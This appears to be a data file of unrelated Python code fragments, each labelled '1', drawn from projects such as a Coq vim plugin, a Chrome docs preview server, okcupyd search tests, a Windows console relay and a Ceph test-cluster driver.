""sparrow"", ""tiger"", ""wolf""): # s = w.search(q, cached=True) # s = s.plaintext() # print os.path.join(""corpus2"", q+"".txt"") # f = codecs.open(os.path.join(""corpus2"", q+"".txt""), ""w"", encoding=""utf-8"") # f.write(s) # f.close() # Loading a document from a text file: f = os.path.join(os.path.dirname(__file__), ""corpus"", ""wolf.txt"") s = codecs.open(f, encoding=""utf-8"").read() document = Document(s, name=""wolf"", stemmer=PORTER) print document print document.keywords(top=10) # (weight, feature)-items. print # Same document, using lemmatization instead of stemming (slower): document = Document(s, name=""wolf"", stemmer=LEMMA) print document print document.keywords(top=10) print # In summary, a document is a bag-of-words representation of a text. # Bag-of-words means that the word order is discarded. # The dictionary of words (features) and their normalized word count (weights) # is also called the document vector: document = Document(""a black cat and a white cat"", stopwords=True) print document.words print document.vector.features for feature, weight in document.vector.items(): print feature, weight # Document vectors can be bundled into a Model (next example).",1 " :type t: int :rtype: bool """""" if k < 1 or t < 0: return False dic = {} t += 1 for i in range(len(nums)): if i > k: del dic[nums[i - k - 1] // t] m = nums[i] // t if m in dic: return True if m - 1 in dic and abs(nums[i] - dic[m - 1]) < t: return True if m + 1 in dic and abs(nums[i] - dic[m + 1]) < t: return True dic[m] = nums[i] return False test = Solution() print(test.containsNearbyAlmostDuplicate([1, 3, 1], 1, 1)) ",1 "TarThread(PoolThread): def __init__(self, backup_dir, output_file, compression='none', verbose=False, binary=""tar""): super(TarThread, self).__init__(self.__class__.__name__, compression) self.compression_method = compression self.backup_dir = backup_dir self.output_file = output_file self.verbose = verbose self.binary = binary self._command = None def close(self, exit_code=None, frame=None): if self._command and not self.stopped: logging.debug(""Stopping running tar command: %s"" % self._command.command) del exit_code del frame self._command.close() self.stopped = True def run(self): if os.path.isdir(self.backup_dir): if not os.path.isfile(self.output_file): try: backup_base_dir = os.path.dirname(self.backup_dir) backup_base_name = os.path.basename(self.backup_dir) log_msg = ""Archiving directory: %s"" % self.backup_dir cmd_flags = [""-C"", backup_base_dir, ""-c"", ""-f"", self.output_file, ""--remove-files""] if self.do_gzip(): log_msg = ""Archiving and compressing directory: %s"" % self.backup_dir cmd_flags.append(""-z"") cmd_flags.append(backup_base_name) logging.info(log_msg) self.running = True self._command = LocalCommand(self.binary, cmd_flags, self.verbose) self.exit_code = self._command.run() except Exception, e: return self.result(False, ""Failed archiving file: %s!"" % self.output_file, e) finally: self.running = False self.stopped = True self.completed = True else: return self.result(False, ""Output file: %s already exists!"" % self.output_file, None) return self.result(True, ""Archiving successful."", None) def result(self, success, message, error): return { ""success"": success, ""message"": message, ""error"": error, ""directory"": self.backup_dir, ""exit_code"": self.exit_code } ",1 "w to open several files at a time. The class also holds the whole file content. (The vim buffers only store either the accepted chunks, or the editing statement) """""" def __init__(self, plugin, buffers): self.windowsManager = plugin.windowsManager self.coqManager = plugin.coqManager self.input = buffers[0] self.output = buffers[1] # Each chunk is describe by the following tuple : (startPos, endPos, newLine), where startPos and endPos are coords tuple self.chunks = [] # The whole file content self.code = [] self.editPosition = (0, 0) # We manage a virtual new-line at the end of the compiled buffer. self.initOutputCursor() def initOutputCursor(self): """""" Init the newline-cursor in the Compiled buffer. """""" self.output.options['modifiable'] = True del self.output[:] self.drawNewlineCursor(False) self.output.options['modifiable'] = False self.editNewLine = False # We backtrack every chunks self.chunks = self.chunks[:- self.coqManager.rewind(len(self.chunks))] def drawNewlineCursor(self, newLine): if newLine: self.windowsManager.commands('__Compiled__', [""normal G$a Dt""]) else: self.windowsManager.commands('__Compiled__', [""normal G$a PR""]) def next(self): nextChunk = self.windowsManager.input.getChunk(self.input, (0, 0)) if nextChunk : if self.coqManager.sendChunk(nextChunk[0]): if self.editNewLine: chunkStart = (0, textCursorPos(self.output)[1] + 1, 2) else: chunkStart = textCursorPos(self.output, diffX = 3) # diffX=2 to ignore the newline-cursor chunkStart = (chunkStart[0], chunkStart[1], 0) chunk = textCut(self.input, (0, 0, 2), nextChunk[1]) self.output.options['modifiable'] = True # Remove the last newline-cursor self.windowsManager.commands('__Compiled__', [""normal G$a""]) textAppend(self.output, chunk, self.editNewLine) self.editNewLine = nextChunk[2] chunkEnd = textCursorPos(self.output) if self.editNewLine: self.drawNewlineCursor(True) chunkEnd = (chunkEnd[0] + 1, chunkEnd[1], 1) else: self.drawNewlineCursor(False) chunkEnd = (chunkEnd[0] + 1, chunkEnd[1], 0) self.output.options['modifiable'] = False self.chunks.append((chunkStart, chunkEnd, self.editNewLine)) def prev(self): """""" Backtrack of one chunk """""" if len(self.chunks) <= 0: print(""No chunk to backtrack !"") return None actualRewind = self.coqManager.rewind(1) if actualRewind == 1: self.output.options['modifiable'] = True # Remove the last newline-cursor self.windowsManager.commands('__Compiled__', [""normal G$a""]) lastChunk = self.chunks[-1] chunk = textCut(self.output, lastChunk[0], lastChunk[1]) textPrepend(self.input, chunk, lastChunk[2]) self.chunks.pop() if len(self.chunks) == 0: self.editNewLine = False else: self.editNewLine = self.chunks[-1][2] self.drawNewlineCursor(self.editNewLine) self.output.options['modifiable'] = False def write(self, filename): try: file = open(filename, 'w') # We write the compiled buffer, and then the edit buffer for i in xrange(len(self.output) - 1): file.write(self.output[i] + ""\n"") interline = self.output[-1][:-4] # We don't take the newline-cursor if not self.editNewLine: interline += self.input[0] file.write(interline + ""\n"") for i in xrange(0 if self.editNewLine else 1, len(self.input)): file.write(self.input[i] + ""\n"") file.close() except IOError as e: error(str(e)) def open(self, filename): # First, clear the buffers self.initOutputCursor() del self.chunks[:] del self.input[:] try: file = open(filename, 'r') # We simply add every lines in the Edit buffer firstLine = True for line in file: if firstLine: # We don't want to skip the first line self.input[0] = line firstLine = False else: self.input.append(line) file.close() except IOError as e: error(str(e)) ",1 "t can be # found in the LICENSE file. # This helps you preview the apps and extensions docs. # # ./preview.py --help # # There are two modes: server- and render- mode. The default is server, in which # a webserver is started on a port (default 8000). Navigating to paths on # http://localhost:8000, for example # # http://localhost:8000/extensions/tabs.html # # will render the documentation for the extension tabs API. # # On the other hand, render mode statically renders docs to stdout. Use this # to save the output (more convenient than needing to save the page in a # browser), handy when uploading the docs somewhere (e.g. for a review), # and for profiling the server. For example, # # ./preview.py -r extensions/tabs.html # # will output the documentation for the tabs API on stdout and exit immediately. # NOTE: RUN THIS FIRST. Or all third_party imports will fail. import build_server # Copy all the files necessary to run the server. These are cleaned up when the # server quits. build_server.main() from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import logging import optparse import posixpath import time from local_renderer import LocalRenderer class _RequestHandler(BaseHTTPRequestHandler): '''A HTTPRequestHandler that outputs the docs page generated by Handler. ''' def do_GET(self): # Sanitize path to guarantee that it stays within the server. if not posixpath.abspath(self.path.lstrip('/')).startswith( posixpath.abspath('')): return # Rewrite paths that would otherwise be served from app.yaml. self.path = { '/robots.txt': '../../server2/robots.txt', '/favicon.ico': '../../server2/chrome-32.ico', '/apple-touch-icon-precomposed.png': '../../server2/chrome-128.png' }.get(self.path, self.path) response = LocalRenderer.Render(self.path, headers=dict(self.headers)) self.protocol_version = 'HTTP/1.1' self.send_response(response.status) for k, v in response.headers.iteritems(): self.send_header(k, v) self.end_headers() self.wfile.write(response.content.ToString()) if __name__ == '__main__': parser = optparse.OptionParser( description='Runs a server to preview the extension documentation.', usage='usage: %prog [option]...') parser.add_option('-a', '--address', default='127.0.0.1', help='the local interface address to bind the server to') parser.add_option('-p', '--port', default='8000', help='port to run the server on') parser.add_option('-r', '--render', default='', help='statically render a page and print to stdout rather than starting ' 'the server, e.g. apps/storage.html. The path may optionally end ' 'with #n where n is the number of times to render the page before ' 'printing it, e.g. apps/storage.html#50, to use for profiling.') parser.add_option('-s', '--stat', help='Print profile stats at the end of the run using the given ' 'profiling option (like ""tottime""). -t is ignored if this is set.') parser.add_option('-t', '--time', action='store_true', help='Print the time taken rendering rather than the result.') (opts, argv) = parser.parse_args() if opts.render: if opts.render.find('#') >= 0: (path, iterations) = opts.render.rsplit('#', 1) extra_iterations = int(iterations) - 1 else: path = opts.render extra_iterations = 0 if opts.stat: import cProfile, pstats, StringIO pr = cProfile.Profile() pr.enable() elif opts.time: start_time = time.time() response = LocalRenderer.Render(path) if response.status != 200: print('Error status: %s' % response.status) exit(1) for _ in range(extra_iterations): LocalRenderer.Render(path) if opts.stat: pr.disable() s = StringIO.StringIO() pstats.Stats(pr, stream=s).sort_stats(opts.stat).print_stats() print(s.getvalue()) elif opts.time: print('Took %s seconds' % (time.time() - start_time)) else: print(response.content.ToString()) exit() print('Starting previewserver on port %s' % opts.port) print('') print('The extension documentation can be found at:') print('') print(' http://localhost:%s/extensions/' % opts.port) print('') print('The apps documentation can be found at:') print('') print(' http://localhost:%s/apps/' % opts.port) print('') logging.getLogger().setLevel(logging.INFO) server = HTTPServer((opts.address, int(opts.port)), _RequestHandler) try: server.serve_forever() finally: server.socket.close() ",1 "_argument('--host', required=True, help='the url for the Materials Commons server') def set_datapath_arg(): parser.add_argument('--datapath', required=True, help='the path to the directory containing the files used by the build') def set_apikey_arg(): parser.add_argument('--apikey', required=True, help='rapikey for the user building the demo project') parser = argparse.ArgumentParser(description='Build Demo Project.') set_host_url_arg() set_datapath_arg() set_apikey_arg() args = parser.parse_args() host = args.host path = os_path.abspath(args.datapath) key = args.apikey # log_messages # print ""Running script to build demo project: "" # print "" host = "" + host + "", "" # print "" key = "" + key + "", "" # print "" path = "" + path try: builder = demo.DemoProject(host, path, key) # a basic get request that makes no changes; will fail if there is a problem with the host or key flag = builder.does_project_exist() project = builder.build_project() if flag: print ""Refreshed project with name = "" + project.name else: print ""Built project with name = "" + project.name except Exception as err: traceback.print_exc() print 'Error: ', err ",1 " self.conf = tecaconf.ConfigHandler( ""tests/test_data/configuration.json"", {""starting_path"": ""tests/test_data/images""} ) self.files_list = [ ""foo.doc"", ""yukinon.jpg"", ""cuteflushadoingflushathings.webm"" ] def test_dothefiltering(self): self.assertTrue(""foo.doc"" not in tecautils.filterImages(self.files_list, self.conf)) self.assertTrue(""yukinon.jpg"" in tecautils.filterImages(self.files_list, self.conf)) def test_nofiles(self): self.assertEqual(0, len(tecautils.filterImages([], self.conf))) ",1 ".openstack.common import log as logging from hotzenplotz.openstack.common import utils from hotzenplotz.common import exception from hotzenplotz.api import validator LOG = logging.getLogger(__name__) class CronHandler(object): """"""Handler Cron Resource """""" def __init__(self, **kwargs): env = Environment(loader=PackageLoader('hotzenplotz.worker','templates')) self.template = env.get_template('cron') self.dir_path = None # @utils.synchronized('haproxy') def do_config(self, request): try: self._validate_request(request) except exception.BadRequest as e: LOG.warn('Bad request: %s' % e) raise exception.CronConfigureError(explanation=str(e)) cmd = request['method'] msg = request['cron_resource'] if cmd == 'create_cron': try: self._create_cron(msg) except exception.CronCreateError as e: raise exception.CronConfigureError(explanation=str(e)) elif cmd == 'delete_cron': try: self._delete_cron(msg) except exception.HaproxyDeleteError as e: raise exception.CronConfigureError(explanation=str(e)) elif cmd == 'update_cron': try: self._update_cron(msg) except exception.CronUpdateError as e: raise exception.CronConfigureError(explanation=str(e)) def _create_cron(self,msg,syntax_check=False): try: output = self.template.render(cron_resource=msg) except TemplateNotFound as e: raise TemplateNotFound(str(e)) try: if not self.dir_path: self.dir_path = '/etc/puppet/modules/cron/' cron_name = msg['title'] file_path = self.dir_path + cron_name if not path.exists(file_path): with open(file_path,'a') as f: f.write(output) except exception.CronCreateError as e: raise exception.CronCreateError(explanation=str(e)) if syntax_check: try: self._test_syntax(file_path) except exception.ProcessExecutionError as e: raise exception.CronCreateError(explanation=str(e)) LOG.debug(""Created the new cron successfully"") def _delete_cron(self, msg): LOG.debug(""Deleting cron for NAME:%s USER: %s PROJECT:%s"" % (msg['id'], msg['user_id'], msg['project_id'])) try: new_cfg_path = self._create_lb_deleted_haproxy_cfg(msg) except exception.HaproxyLBNotExists as e: LOG.warn('%s', e) return ##raise exception.HaproxyDeleteError(explanation=str(e)) try: self._test_haproxy_config(new_cfg_path) except exception.ProcessExecutionError as e: raise exception.HaproxyDeleteError(explanation=str(e)) rc, backup_path = self._backup_original_cfg() if rc != 0: raise exception.HaproxyDeleteError(explanation=backup_path) rc, strerror = self._replace_original_cfg_with_new(new_cfg_path) if rc != 0: raise exception.HaproxyDeleteError(explanation=strerror) if self._reload_haproxy_cfg(backup_path) != 0: e = 'Failed to reload haproxy' raise exception.HaproxyDeleteError(explanation=str(e)) LOG.debug(""Deleted the new load balancer successfully"") def _update_cron(self, msg): LOG.debug(""Updating the haproxy load "" ""balancer for NAME:%s USER: %s PROJECT:%s"" % (msg['uuid'], msg['user_id'], msg['project_id'])) try: lb_deleted_cfg_path = self._create_lb_deleted_haproxy_cfg(msg) except exception.HaproxyLBNotExists as e: LOG.warn('%s', e) raise exception.HaproxyUpdateError(explanation=str(e)) try: new_cfg_path = self._create_lb_haproxy_cfg( msg, base_cfg_path=lb_deleted_cfg_path) except exception.HaproxyCreateCfgError as e: raise exception.HaproxyUpdateError(explanation=str(e)) try: self._test_haproxy_config(new_cfg_path) except exception.ProcessExecutionError as e: raise exception.HaproxyUpdateError(explanation=str(e)) LOG.debug(""Updated the new load balancer successfully"") def _validate_request(self, request): validate.check_tcp_request(request) def _get_lb_name(self, msg): # TODO(wenjianhn): utf-8 support, base64 ##return ""%s_%s"" % (msg['project_id'], return ""%s"" % msg['uuid'] def _is_lb_in_use(self, lb_name, base_cfg_path='/etc/haproxy/haproxy.cfg'): with open(base_cfg_path) as cfg: lines = cfg.readlines() try: in_use_lb_name = [line.split()[1] for line in lines if line.startswith('listen')] except IndexError: LOG.error(""No item was found after listen directive,"" ""is the haproxy configuraion file valid?"") raise return lb_name in in_use_lb_name def _test_syntax(self, cfile_path): LOG.info('Testing the new puppet configuration file') cmd = ""puppet parser validate %s"" % cfile_path try: utils.execute(cmd) except exception.ProcessExecutionError as e: LOG.warn('Did not pass the configuration syntax test: %s', e) raise def _get_one_lb_info(self, line_all, line_index, line_total): value = [] for i in range(line_index, line_total): line = line_all[i] if line.startswith('\t'): value.append(line) elif line.startswith('listen'): return i, value return line_total - 1, value ",1 " CONQUE_WINDOWS_VK = { '3' : win32con.VK_CANCEL, '8' : win32con.VK_BACK, '9' : win32con.VK_TAB, '12' : win32con.VK_CLEAR, '13' : win32con.VK_RETURN, '17' : win32con.VK_CONTROL, '20' : win32con.VK_CAPITAL, '27' : win32con.VK_ESCAPE, '28' : win32con.VK_CONVERT, '35' : win32con.VK_END, '36' : win32con.VK_HOME, '37' : win32con.VK_LEFT, '38' : win32con.VK_UP, '39' : win32con.VK_RIGHT, '40' : win32con.VK_DOWN, '45' : win32con.VK_INSERT, '46' : win32con.VK_DELETE, '47' : win32con.VK_HELP } def make_input_key(c, control_key_state=None): kc = win32console.PyINPUT_RECORDType (win32console.KEY_EVENT) kc.KeyDown = True kc.RepeatCount = 1 cnum = ord(c) if cnum == 3: pid_list = win32console.GetConsoleProcessList() win32console.GenerateConsoleCtrlEvent(win32con.CTRL_C_EVENT, 0) return else: kc.Char = unicode(c) if str(cnum) in CONQUE_WINDOWS_VK: kc.VirtualKeyCode = CONQUE_WINDOWS_VK[str(cnum)] else: kc.VirtualKeyCode = ctypes.windll.user32.VkKeyScanA(cnum) #kc.VirtualKeyCode = ctypes.windll.user32.VkKeyScanA(cnum+96) #kc.ControlKeyState = win32con.LEFT_CTRL_PRESSED return kc #win32console.AttachConsole() coord = win32console.PyCOORDType con_stdout = win32console.GetStdHandle(win32console.STD_OUTPUT_HANDLE) con_stdin = win32console.GetStdHandle(win32console.STD_INPUT_HANDLE) flags = win32process.NORMAL_PRIORITY_CLASS si = win32process.STARTUPINFO() si.dwFlags |= win32con.STARTF_USESHOWWINDOW (handle1, handle2, i1, i2) = win32process.CreateProcess(None, ""cmd.exe"", None, None, 0, flags, None, '.', si) time.sleep(1) #size = con_stdout.GetConsoleScreenBufferInfo()['Window'] # with codecs.open(""log.txt"", ""w"", ""utf8"") as f: # for i in xrange(0, size.Bottom): # f.write(con_stdout.ReadConsoleOutputCharacter(size.Right+1, coord(0, i))) # f.write(""\n"") import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) HOST = ""127.0.0.1"" PORT = 5554 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(1) (sc, scname) = s.accept() while True: msg = sc.recv(1) if ord(msg) == 0: break keys = [make_input_key(msg)] if keys: con_stdin.WriteConsoleInput(keys) win32process.TerminateProcess(handle1, 0)",1 "rt UploadBlackListView, DemoView, UdateBlackListView urlpatterns = [ url(r'^admin/', include(admin.site.urls)), url(r'^upload-blacklist$', login_required(UploadBlackListView.as_view()), name='upload-blacklist'), url(r'^update-blacklist$', UdateBlackListView.as_view(), name='update-blacklist'), url(r'^profile/', include('n_profile.urls')), url(r'^demo$', DemoView.as_view(), name='demo'), ] ",1 "ectly. # #################################### import sys sys.stdout.write('####################################\n') sys.stdout.write('#\n') sys.stdout.write('# -- TEXTPATGEN GENERATED FILE --\n') sys.stdout.write('#\n') sys.stdout.write('# -- Created from a Python script.\n') sys.stdout.write('#\n') sys.stdout.write(""####################################\n"") num=0 for length in range(0, 16): for width in range(0, 15): sys.stdout.write('X-%04X ' % num) num=num+1 width=width+1 length=length+1 sys.stdout.write('X-%04X\n' % num) num=num+1 sys.stdout.write('# -- End of file.\n'); sys.stdout.flush() ",1 " # # Licensed under the Apache License, Version 2.0 (the ""License""); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ################################################################################ import scipy.io.wavfile as wav import numpy as np import copy class Signal: # Data loaders def LoadFromFile(self, file): self.fs, self.s = wav.read(file) self.sLength, self.nChans = self.s.shape def LoadWF(self, waveform, fs): self.s = waveform self.fs = fs self.sLength, self.nChans = self.s.shape def __init__(self, *args): #signal properties self.singlePrecision = 0 self.s = np.array([]) self.fs = 44100 self.sLength = 0 self.nChans = 0 self.weightingFunction = np.hamming #FIXME #STFT properties self.S = np.array([]) self.windowLength = 60 self.nfft = 0 self.nfftUtil = 0 self.overlapRatio = 0.5 self.framesPositions = np.array([]) self.nFrames = 0 self.weightingWindow = np.array([]) self.overlap = 0 # Windowing properties self.sWin = np.array([]) self.sWeights = np.array([]) self.sWin = np.array([]) self.sWeights = np.array([]) if len(args) == 1: if type(args[0]) == type(''): # it's a filename self.LoadFromFile(args[0]) elif type(args[0] == type(self)): # copy data from other signal self.__dict__ = copy.deepcopy(args[0].__dict__) elif len(args) == 2: # args[0] is a signal, args[1] is sample freq. self.LoadWF(args(0), args(1)) ",1 "yd.profile import Profile from okcupyd.json_search import SearchFetchable, search from okcupyd.location import LocationQueryCache from okcupyd.session import Session from . import util SEARCH_FILTERS_BEING_REIMPLEMENTED = ""SEARCH_FILTERS_ARE_BEING_REIMPLEMENTED"" @util.use_cassette def test_age_filter(): age = 22 search_fetchable = SearchFetchable(gentation='everybody', minimum_age=age, maximum_age=age) for profile in search_fetchable[:5]: assert profile.age == age @util.use_cassette def test_count_variable(request): profiles = search(gentation='everybody', count=14) assert len(profiles) == 14 for profile in profiles: profile.username profile.age profile.location profile.match_percentage profile.enemy_percentage profile.id profile.rating profile.contacted @util.use_cassette def test_location_filter(): session = Session.login() location_cache = LocationQueryCache(session) location = 'Portland, OR' search_fetchable = SearchFetchable(location=location, location_cache=location_cache, radius=1) for profile in search_fetchable[:5]: assert profile.location == 'Portland, OR' @util.use_cassette(path='search_function') def test_search_function(): profile, = search(count=1) assert isinstance(profile, Profile) profile.username profile.age profile.location profile.match_percentage profile.enemy_percentage profile.id profile.rating profile.contacted @pytest.mark.xfail(reason=SEARCH_FILTERS_BEING_REIMPLEMENTED) @util.use_cassette def test_search_fetchable_iter(): search_fetchable = SearchFetchable(gentation='everybody', religion='buddhist', age_min=25, age_max=25, location='new york, ny', keywords='bicycle') for count, profile in enumerate(search_fetchable): assert isinstance(profile, Profile) if count > 30: break @pytest.mark.xfail(reason=SEARCH_FILTERS_BEING_REIMPLEMENTED) @util.use_cassette def test_easy_search_filters(): session = Session.login() query_test_pairs = [# ('bodytype', maps.bodytype), # TODO(@IvanMalison) this is an alist feature, # so it can't be tested for now. ('drugs', maps.drugs), ('smokes', maps.smokes), ('diet', maps.diet,), ('job', maps.job)] for query_param, re_map in query_test_pairs: for value in sorted(re_map.pattern_to_value.keys()): profile = SearchFetchable(**{ 'gentation': '', 'session': session, 'count': 1, query_param: value })[0] attribute = getattr(profile.details, query_param) assert value in (attribute or '').lower() @pytest.mark.xfail(reason=SEARCH_FILTERS_BEING_REIMPLEMENTED) @util.use_cassette def test_children_filter(): session = Session.login() profile = SearchFetchable(session, wants_kids=""wants kids"", count=1)[0] assert ""wants"" in profile.details.children.lower() profile = SearchFetchable(session, has_kids=[""has kids""], wants_kids=""doesn't want kids"", count=0)[0] assert ""has kids"" in profile.details.children.lower() assert ""doesn't want"" in profile.details.children.lower() @pytest.mark.xfail(reason=SEARCH_FILTERS_BEING_REIMPLEMENTED) @util.use_cassette def test_pets_queries(): session = Session.login() profile = SearchFetchable(session, cats=['dislikes cats', 'likes cats'], count=1)[0] assert 'likes cats' in profile.details.pets.lower() profile = SearchFetchable(session, dogs='likes dogs', cats='has cats', count=1)[0] assert 'likes dogs' in profile.details.pets.lower() assert 'has cats' in profile.details.pets.lower() @pytest.mark.xfail(reason=SEARCH_FILTERS_BEING_REIMPLEMENTED) @util.use_cassette def test_height_filter(): session = Session.login() profile = SearchFetchable(session, height_min='5\'6""', height_max='5\'6""', gentation='girls who like guys', radius=25, count=1)[0] match = magicnumbers.imperial_re.search(profile.details.height) assert int(match.group(1)) == 5 assert int(match.group(2)) == 6 profile = SearchFetchable(session, height_min='2.00m', count=1)[0] match = magicnumbers.metric_re.search(profile.details.height) assert float(match.group(1)) >= 2.00 profile = SearchFetchable(session, height_max='1.5m', count=1)[0] match = magicnumbers.metric_re.search(profile.details.height) assert float(match.group(1)) <= 1.5 @pytest.mark.xfail(reason=SEARCH_FILTERS_BEING_REIMPLEMENTED) @util.use_cassette def test_language_filter(): session = Session.login() profile = SearchFetchable(session, language='french', count=1)[0] assert 'french' in [language_info[0].lower() for language_info in profile.details.languages] profile = SearchFetchable(session, language='Afrikaans', count=1)[0] assert 'afrikaans' in map(operator.itemgetter(0), profile.details.languages) @pytest.mark.xfail @util.use_cassette def test_attractiveness_filter(): session = Session.login() profile = SearchFetchable(session, attractiveness_min=4000, attractiveness_max=6000, count=1)[0] assert profile.attractiveness > 4000 assert profile.attractiveness < 6000 @pytest.mark.xfail @util.use_cassette def test_question_filter(): user = User() user_question = user.questions.somewhat_important[0] for profile in user.search(question=user_question)[:5]: question = profile.find_question(user_question.id) assert question.their_answer_matches @pytest.mark.xfail @util.use_cassette def test_question_filter_with_custom_answers(): user = User() user_question = user.questions.somewhat_important[1] unacceptable_answers = [answer_option.id for answer_option in user_question.answer_options if not answer_option.is_match] for profile in user.search(question=user_question.id, question_answers=unacceptable_answers)[:5]: question = profile.find_question(user_question.id) assert not question.their_answer_matches @pytest.mark.xfail @util.use_cassette def test_question_count_filter(): user = User() for profile in user.search(question_count_min=250)[:5]: assert profile.questions[249] @pytest.mark.xfail(reason=""ProfileBuilder needs to be improved to actually get data from profile results"") @util.use_cassette def test_search_populates_upfront(): user = User() search_fetchable = user.search() for profile in search_fetchable[:4]: profile_session = profile._session with mock.patch.object(profile, '_session') as mock_session: mock_session.okc_get.side_effect = profile_session.okc_get assert profile.id > 0 assert mock_session.okc_get.call_count == 0 profile.essays.self_summary assert mock_session.okc_get.call_count == 1 ",1 "L parameter or ServerSettings, see build_config_var """""" import logging from tiddlyweb.util import read_utf8_file from tiddlywebwiki.serialization import Serialization as WikiSerialization from tiddlywebplugins.tiddlyspace.web import (determine_host, determine_space, determine_space_recipe) LOGGER = logging.getLogger(__name__) def build_config_var(beta=False, external=False): """""" Create the configuration key which will be used to locate the base tiddlywiki file. """""" base = 'base_tiddlywiki' if external: base += '_external' if beta: base += '_beta' return base class Serialization(WikiSerialization): """""" Subclass of the standard TiddlyWiki serialization to allow choosing beta or externalized versions of the base empty.html in which the tiddlers will be servered. Also, if the TiddlyWiki is not being downloaded, add the UniversalBackstage by injecting a script tag. """""" def list_tiddlers(self, tiddlers): """""" Override tiddlers.link so the location in noscript is to /tiddlers. """""" http_host, _ = determine_host(self.environ) space_name = determine_space(self.environ, http_host) if space_name: recipe_name = determine_space_recipe(self.environ, space_name) if '/recipes/%s' % recipe_name in tiddlers.link: tiddlers.link = '/tiddlers' return WikiSerialization.list_tiddlers(self, tiddlers) def _get_wiki(self): beta = external = False release = self.environ.get('tiddlyweb.query', {}).get( 'twrelease', [False])[0] externalize = self.environ.get('tiddlyweb.query', {}).get( 'external', [False])[0] download = self.environ.get('tiddlyweb.query', {}).get( 'download', [False])[0] if release == 'beta': beta = True if externalize: external = True # If somebody is downloading, don't allow them to # externalize. if download: external = False wiki = None if beta or external: config_var = build_config_var(beta, external) LOGGER.debug('looking for %s', config_var) base_wiki_file = self.environ.get('tiddlyweb.config', {}).get(config_var, '') if base_wiki_file: LOGGER.debug('using %s as base_tiddlywiki', base_wiki_file) wiki = read_utf8_file(base_wiki_file) if not wiki: wiki = WikiSerialization._get_wiki(self) tag = """" if not download: wiki = wiki.replace(tag, ' %s' % tag) return wiki ",1 "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. import os import uuid import pkg_resources from pifpaf import drivers class CephDriver(drivers.Driver): DEFAULT_PORT = 6790 def __init__(self, port=DEFAULT_PORT, **kwargs): """"""Create a new Ceph cluster."""""" super(CephDriver, self).__init__(**kwargs) self.port = port @classmethod def get_options(cls): return [ {""param_decls"": [""--port""], ""type"": int, ""default"": cls.DEFAULT_PORT, ""help"": ""port to use for Ceph Monitor""}, ] def _setUp(self): super(CephDriver, self)._setUp() self._ensure_xattr_support() fsid = str(uuid.uuid4()) conffile = os.path.join(self.tempdir, ""ceph.conf"") mondir = os.path.join(self.tempdir, ""mon"", ""ceph-a"") osddir = os.path.join(self.tempdir, ""osd"", ""ceph-0"") os.makedirs(mondir) os.makedirs(osddir) _, version = self._exec([""ceph"", ""--version""], stdout=True) version = version.decode(""ascii"").split()[2] version = pkg_resources.parse_version(version) if version < pkg_resources.parse_version(""12.0.0""): extra = """""" mon_osd_nearfull_ratio = 1 mon_osd_full_ratio = 1 osd_failsafe_nearfull_ratio = 1 osd_failsafe_full_ratio = 1 """""" else: extra = """""" mon_allow_pool_delete = true """""" # FIXME(sileht): check availible space on /dev/shm # if os.path.exists(""/dev/shm"") and os.access('/dev/shm', os.W_OK): # journal_path = ""/dev/shm/$cluster-$id-journal"" # else: journal_path = ""%s/osd/$cluster-$id/journal"" % self.tempdir with open(conffile, ""w"") as f: f.write(""""""[global] fsid = %(fsid)s # no auth for now auth cluster required = none auth service required = none auth client required = none ## no replica osd pool default size = 1 osd pool default min size = 1 osd crush chooseleaf type = 0 ## some default path change run dir = %(tempdir)s pid file = %(tempdir)s/$type.$id.pid admin socket = %(tempdir)s/$cluster-$name.asok mon data = %(tempdir)s/mon/$cluster-$id osd data = %(tempdir)s/osd/$cluster-$id osd journal = %(journal_path)s log file = %(tempdir)s/$cluster-$name.log mon cluster log file = %(tempdir)s/$cluster.log # Only omap to have same behavior for all filesystems filestore xattr use omap = True # workaround for ext4 and last Jewel version osd max object name len = 256 osd max object namespace len = 64 osd op threads = 10 filestore max sync interval = 10001 filestore min sync interval = 10000 %(extra)s journal_aio = false journal_dio = false journal zero on create = false journal block align = false # run as file owner setuser match path = %(tempdir)s/$type/$cluster-$id [mon.a] host = localhost mon addr = 127.0.0.1:%(port)d """""" % dict(fsid=fsid, tempdir=self.tempdir, port=self.port, journal_path=journal_path, extra=extra)) # noqa ceph_opts = [""ceph"", ""-c"", conffile] mon_opts = [""ceph-mon"", ""-c"", conffile, ""--id"", ""a"", ""-d""] osd_opts = [""ceph-osd"", ""-c"", conffile, ""--id"", ""0"", ""-d"", ""-m"", ""127.0.0.1:%d"" % self.port] # Create and start monitor self._exec(mon_opts + [""--mkfs""]) self._touch(os.path.join(mondir, ""done"")) mon, _ = self._exec( mon_opts, wait_for_line=r""mon.a@0\(leader\).mds e1 print_map"") # Create and start OSD self._exec(ceph_opts + [""osd"", ""create""]) self._exec(ceph_opts + [""osd"", ""crush"", ""add"", ""osd.0"", ""1"", ""root=default""]) self._exec(osd_opts + [""--mkfs"", ""--mkjournal""]) if version < pkg_resources.parse_version(""0.94.0""): wait_for_line = ""journal close"" else: wait_for_line = ""done with init"" osd, _ = self._exec(osd_opts, wait_for_line=wait_for_line) if version >= pkg_resources.parse_version(""12.0.0""): self._exec(ceph_opts + [""osd"", ""set-full-ratio"", ""0.95""]) self._exec(ceph_opts + [""osd"", ""set-backfillfull-ratio"", ""0.95""]) self._exec(ceph_opts + [""osd"", ""set-nearfull-ratio"", ""0.95""]) # Wait it's ready out = b"""" while b""HEALTH_OK"" not in out: ceph, out = self._exec(ceph_opts + [""health""], stdout=True) if b""HEALTH_ERR"" in out: raise RuntimeError(""Fail to deploy ceph"") self.putenv(""CEPH_CONF"", conffile, True) self.putenv(""CEPH_CONF"", conffile) self.putenv(""URL"", ""ceph://localhost:%d"" % self.port) ",1 "n be # found in the LICENSE file. """"""Implements a standard mechanism for Chrome Infra Python environment setup. This library provides a central location to define 